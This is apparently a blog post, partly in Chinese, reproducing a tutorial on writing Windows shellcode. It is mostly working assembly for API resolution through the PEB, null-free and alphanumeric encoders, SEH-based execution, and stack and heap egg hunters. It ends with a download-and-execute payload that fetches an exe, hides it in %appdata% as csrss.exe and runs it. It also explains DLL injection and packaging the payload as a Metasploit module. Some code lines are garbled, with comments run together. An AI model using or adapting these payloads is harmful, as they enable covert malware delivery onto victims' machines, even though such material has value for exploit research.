先到這裡下載 IDE http://www.easycode.cat/English/Download.htm
Any shellcode consists of 4 parts: Getting the delta, get the
kernel32
imagebase, getting your APIs and the payload.Getting the Delta
GETDELTA:
call NEXT //將下一個指令的位址放到stack
NEXT:
pop ebx //將目前位址從stack取出 放到ebx
Getting the Kernel32 imagebase
mov eax,dword ptr fs:[30h]
mov eax,dword ptr [eax+0Ch] mov ebx,dword ptr [eax+1Ch]
mov ebx,dword ptr [ebx]
mov esi,dword ptr [ebx+8h] //esi就是kernel32.dll的入口
請先複習PE結構導出表部分
Getting the APIs
;Inputs: ;------- ;Esi --> Kernelbase ;Ebx -->The Array Of API Addresses that we will save in
GetAPIs Proc
Local AddressFunctions:DWord
Local AddressOfNameOrdinals:DWord
Local AddressNames:DWord
Local NumberOfNames:DWord
Getting_PE_Header:
Mov Edi, Esi ;Kernel32 imagebase Mov Eax, [Esi].IMAGE_DOS_HEADER.e_lfanew
Add Esi, Eax ;Esi-->PE Header Edi-->MZ Header Getting_Export_Table:
Mov Eax, [Esi].IMAGE_NT_HEADERS.OptionalHeader.DataDirectory[0].VirtualAddress
Add Eax, Edi
Mov Esi, Eax
Getting_Arrays:
Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
Add Eax, Edi
Mov AddressFunctions, Eax ;the first array Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
Add Eax, Edi
Mov AddressOfNameOrdinals, Eax ;the second array Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.AddressOfNames
Add Eax, Edi
Mov AddressNames, Eax ;the third array Mov Eax, [Esi].IMAGE_EXPORT_DIRECTORY.NumberOfNames
Mov NumberOfNames, Eax ;the number of APIs Push Esi
Mov Esi, AddressNames
Xor Ecx, Ecx
GetTheAPIs:
Lodsd
Push Esi
Lea Esi, [Eax + Edi] ;RVA + imagebase = VA Xor Edx,Edx
Xor Eax,Eax
Checksum_Calc:
Lodsb
Test Eax, Eax ;Avoid the null byte in Cmp Eax,0 Jz CheckFunction
Add Edx,Eax
Xor Edx,Eax
Inc Edx
Jmp Checksum_Calc
CheckFunction:
Pop Esi
Xor Eax, Eax ;The index of this API Cmp Edx, 0AAAAAAAAH ;FirstAPI Jz FoundAddress
Cmp Edx, 0BBBBBBBBh ;SecondAPI Inc Eax
Jz FoundAddress
Cmp Edx, 0CCCCCCCCh ;ThirdAPI Inc Eax
Jz FoundAddress
Xor Eax, Eax
Inc Ecx
Cmp Ecx,NumberOfNames
Jz EndFunc
Jmp GetTheAPIs
FoundAddress:
Mov Edx, Esi ;save it temporary in edx Pop Esi ;Esi --> PE Header Push Eax ;save the index of the API Mov Eax, AddressOfNameOrdinals
Movzx Ecx, Word Ptr [Eax + Ecx * 2]
Mov Eax, AddressFunctions
Mov Eax, DWord Ptr [Eax + Ecx * 4]
Add Eax, Edi
Pop Ecx ;Get The Index of the API Mov [Ebx + Ecx * 4], Eax
Push Esi
Mov Esi, Edx
Jmp GetTheAPIs
EndFunc:
Mov Esi, Edi
Ret
GetAPIs EndP
Null-Free byte Shellcode
使用替換指令以避開null字元
Null-Byte Instruction | Binary Form | Null Free Instruction | Binary Form |
mov eax,5 | B8 00000005 | mov al,5 | B0 05 |
call next | E8 00000000 | jmp next/call prev | EB 05/ E8 F9FFFFFF |
cmp eax,0 | 83F8 00 | test eax,eax | 85C0 |
mov eax,0 | B8 00000000 | xor eax,eax | 33C0 |
In the code Listing on how to get the delta, we didn’t avoid the
null
byte. So, to avoid it, we will use the tricks in the Table 3.5.1 and use jmp
/call
instead of call next as shown in the code Listing below:GETDELTA:
jmp NEXT
PREV:
pop ebx
jmp END_GETDELTA
NEXT:
call PREV
END_GETDELTA:
Alphanumeric Shellcode
將代碼替換為完全可視字元(這部份很難)
主要是利用push, pop, imul等指令來完成(mov, jmp等指令完全不能用,含有非可視字元),最後產生的可視字元代碼,只能產生在stack,另外有關定位delta的代碼,需要利用SEH的技巧
push 35356746
push esp
pop ecx
imul edi,dword ptr [ecx],45653456
pop edx
push edi
This code multiplies 0x35356746 with 0x45653456 and generates 0x558884E9 which will be decoded as “
test cl,ch
” and “mov byte ptr [ebp],dl
”. That’s just an example on how to create an encoder and decoder.It’s hard to find two numbers when you multiply them give you the 4 bytes that you need. Or you may fall into a very large loop to find these numbers. So you can use the 2 bytes like this:push 3030786F
pop eax
push ax
push esp
pop ecx
imul di,word ptr [ecx],3445
push di
This code multiplies 0x786F (you can ignore the 0x3030) with 0x3445 to generate 0x01EB which is equivalent to “
Jmp next
”. To generate these two numbers, I created a C code which generates these numbers as you see them in this code:int YourNumber = 0x000001EB;
for (short i=0x3030;i<0x7A7A;i++){
for (short l=0x3030;l<0x7A7A;l++){
char* n = (char*)&i;
char* m = (char*)&l;
if (((i * l)& 0xFFFF)==YourNumber){
for(int s=0;s<2;s++){
if (!(((n[s] > 0x30 && n[s] < 0x39) || \
(n[s] > 0x41 && n[s] < 0x5A) || \
(n[s] > 0x61 && n[s] < 0x7A)) && \
((m[s] > 0x30 && m[s] < 0x39) || \
(m[s] > 0x41 && m[s] < 0x5A) || \
(m[s] > 0x61 && m[s] < 0x7A))))
goto Not_Yet;
}
cout << (int*)i << " " << (int*)l << " " << (int*)((l*i) & 0xFFFF)<< "\n";
}
Not_Yet:
continue;
}
};
In all of these encoders, you will see that the shellcode is decoded in the stack using “
push
” instruction. So, beware of the stack direction as esp
decreases by push
. So, the data will be arranged wrong if you are not aware of that.Also notice that your processor (Intel) uses the little endian for representing numbers. So, if you have an instruction like “
Jmp +1
” and this instruction in bytes will be “EB 01
”, you will need to generate the number 0x01EB and push it … not 0xEB01.After finishing all of this, you should pass the execution to the stack to begin executing your original shellcode. To do that, you should find a way to set the
Eip
to the Esp
.As you don’t have “
call
” or “jmp exx
”, you don’t have any way to pass the execution rather than SEH. SEH is the Structured Exception Handling and it’s created by Windows to handle exceptions. It’s a single linked list with the last entry saved in the FS:[0] or you can say … at the beginning of the Thread Environment Block (TIB) as FS is pointing to TIB and followed with TEB (Thread Environment Block) which has the pointer to the PEB (Process Environment Block) at F:[30] that we use to get the kernel32 address.When an error occurs, the window passes the execution to the code at
SEHandler
to handle the error and return again. So, we can save the esp
at the SEHandler
and raise an error (read from an invalid pointer for example) to make windows pass the execution to our shellcode. So, we will easily run our decoded shellcode.push 396A6A71
pop eax
xor eax,396A6A71
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
popad
xor edi,dword ptr fs:[eax]
push esp
push edi
push esp
xor esi,dword ptr [esp+esi] pop ecx
xor dword ptr fs:[eax],edi
xor dword ptr fs:[eax],esi
The first lines set the eax to zero (xor a number with itself returns zero) and then we use 8
pushes
and popad
to set registers to zero (popad
doesn’t modify the esp
). And after that, we gets the value of the FS:[0] by using xor
(number xor
0 = the same number).And then we begin to create the SEH entry by pushing
esp
(as it now points to our code) and push edi
(the next sehRecord
).In “
xor esi,dword ptr [eax+esi]
”, we tried here to make esi == esp
(as pop esi
equal to 0x5E “^” and it’s outside the limits). And then we set the FS:[0] with zero by xoring it with the same value of it. And at last, we set it with esp
.The code is so small near 37 bytes. And if you see this code in the binary view (ASCII view), you will see it equal to “
hqjj9X5qjj9PWPPSRPPad38TWT344Yd18d10
” … nothing except normal characters.Egg-hunting Shellcode
用小的shellcode尋找大的shellcode
If it is in the stack, you could easily search for the shellcode. In the TIB (Thread Information Block) that we described earlier, The 2nd and the 3rd items (FS:[4] and FS:[8]) are the beginning of the stack and the end of the stack. So, you can search for your mark between these pointers. Let’s examine the code:
mov ecx,dword ptr fs:[eax] ; the end of the stack add eax,4
mov edi,dword ptr fs:[eax] ; the beginning of the stack sub ecx,edi ; Getting the size mov eax,BBBBBBBC ; not BB to not find itself by wrong dec eax ; became == 0xBBBBBBBB NOT_YET:
repne scasb
cmp dword ptr [edi-1],eax
jnz NOT_YET
add edi,3
call edi
In stack, it’s simple. But for heap, it’s a bit complicated.
As you see, you can get PEB from FS:[30] and then get an array with the process heaps from (PEB+0x90) and the number of entries inside this array (number of heaps) from PEB+88 and you can loop on them to search for your mark inside.
xor eax,eax
mov edx,dword ptr fs:[eax+30] ;Get The PEB add eax,7F
add eax,11 ;set eax == 90 (avoiding null bytes) mov esi,dword ptr [eax+edx] ;edx + 90 --> *ProcessHeaps mov ecx,dword ptr [eax+edx-4] ;edx + 88 --> NumberOfHeaps GET_HEAP:
lods dword ptr [esi] ;Get Heap Entry push ecx ;Save NumberOfHeaps mov edi,eax
mov eax,dword ptr [eax+58] ;Get 1st entry in Segments[64] array mov ecx,dword ptr [eax+38] ;Get LastEntryInSegment sub ecx,edi ;Get SizeOfHeap mov eax,BBBBBBBC
dec eax
NO_YET:
repne scas byte ptr es:[edi] ;searching for the 0xBB test ecx,ecx ;Didn’t find? je NEXT_HEAP ;go to the next heap cmp dword ptr [edi-1],eax ;get 0xBB .. check on 0xBBBBBBBB jnz NO_YET
call dword ptr [edi+3] ;we got it … let’s call to it NEXT_HEAP:
pop ecx ;not yet, let’s go the next heap dec ecx
test ecx,ecx ;is it the last heap? jnz GET_HEAP
The Payload
Download & Execute Payload
You have many ways to create a DownExec Shellcode. So, I decided to choose the easiest way (and the smaller way) to write a DownExec shellcode.
I decided to use a very powerful and easy-to-use API named
URLDownloadToFileA
given by urlmon.dll Library. This API takes only 2 parameters:
URL
: The URL to download the file fromFilename
: The place where you need to save the file in (including the name of the file)
Xor Eax, Eax
Mov Al, 90H
Repne Scasb
Mov Byte Ptr [Edi - 1], Ah
Mov Filename, Edi
Mov Al, 200
Sub Esp, Eax
Mov Esi, Esp
Push Eax
Push Esi
Push Edi
Call ExpandEnvironmentStringsA
Xor Eax, Eax
Push Eax
Push Eax
Push Esi
Push URLOffset
Push Eax
Call URLDownloadToFileA
Mov Edi, Eax
Push Edi
Xor Ecx, Ecx
Mov Cl, SizeOf Startup
Lea Edi, Startup
Xor Eax, Eax
Rep Stosb
Mov Cl, SizeOf ProcInfo
Lea Edi, ProcInfo
Xor Eax, Eax
Rep Stosb
Pop Edi
Mov Byte Ptr [Startup.cb], SizeOf Startup
Mov Word Ptr [Startup.dwFlags], STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
Xor Eax, Eax
Lea Ecx, ProcInfo
Lea Edx, Startup
Push Ecx
Push Edx
Push Eax
Push Eax
Push Eax
Push 1
Push Eax
Push Eax
Push Esi
Push Eax
Call CreateProcessA
Push INFINITE
Push ProcInfo.hProcess
Call WaitForSingleObject
Ret
MainShellcode EndP
DATA:
URL DB "http://localhost:3000/1.exe", 90H
Filename DB "%appdata%\csrss.exe", 0
In this code, we call
ExpandEnvironmentString
API. This API expands the string
that is similar to (%appdata%
, %windir%
and so on) to the equivalent path like (C:\Windows\...) from the Environment Variables.This API is important if you need to write files to the Application Data or to the MyDocuments or inside the Windows system. So, we expand our filename to save the malicious file inside the application data (the best hidden folder that has the write access for Window Vista & 7) with name csrss.exe.
And then, we call
URLDownloadFileA
to download the malicious file and at last we execute it with CreateProcessA
.You can use a DLL file to download and to start using
loadLibrary
. And you can inject this library into another process by using WriteMemoryProcess
and CreateRemoteThread
.You can inject the
Filename string
into another process and then call to CreateRemoteThread
with LoadLibrary
as the ProcAddress
and the injected string
as the argument of LoadLibrary
API.Implement your Shellcode into Metasploit
So, I converted my shellcode into Ruby Buffer like this (without the 2
string
s: URL
, Filename
):I do that by using
DataRipper
and UltraEdit
programs to create this string
from the binary of the shellcode inside ollydbg. I use some find/replace and so on to reach this Shape. After that, you should create your own ruby payload module. To do that, you will use this as a template and I’ll describe it now.
To modify it, you should follow these steps:
- The first thing, you should add the information of your shellcode including the binary of your shellcode in Payload.
- Then, you will add your shellcode parameters in
register_options
with the description of it. - And at last, you will modify the
generate_stage
function to generate your payload. You can get your parameters easily withdatastore[‘Your Parameter’]
and you can add it to the payload. - Also, you can get your payload with
module_info[‘Payload’][‘Payload’]
and you can merge your parameters as shown in the sample. - At the end, you will have your working shellcode. You should save the file inside its category like \msf3\modules\payloads\singles\windows to be inside the windows category.
References
- “Writing ia32 alphanumeric shellcodes” in Phrack
- “Understanding Windows Shellcode” by skape – 2003
- “Advanced Windows Debugging: Memory Corruption Part II—Heaps” By Daniel Pravat and Mario Hewardt - Nov 9, 2007
沒有留言:
張貼留言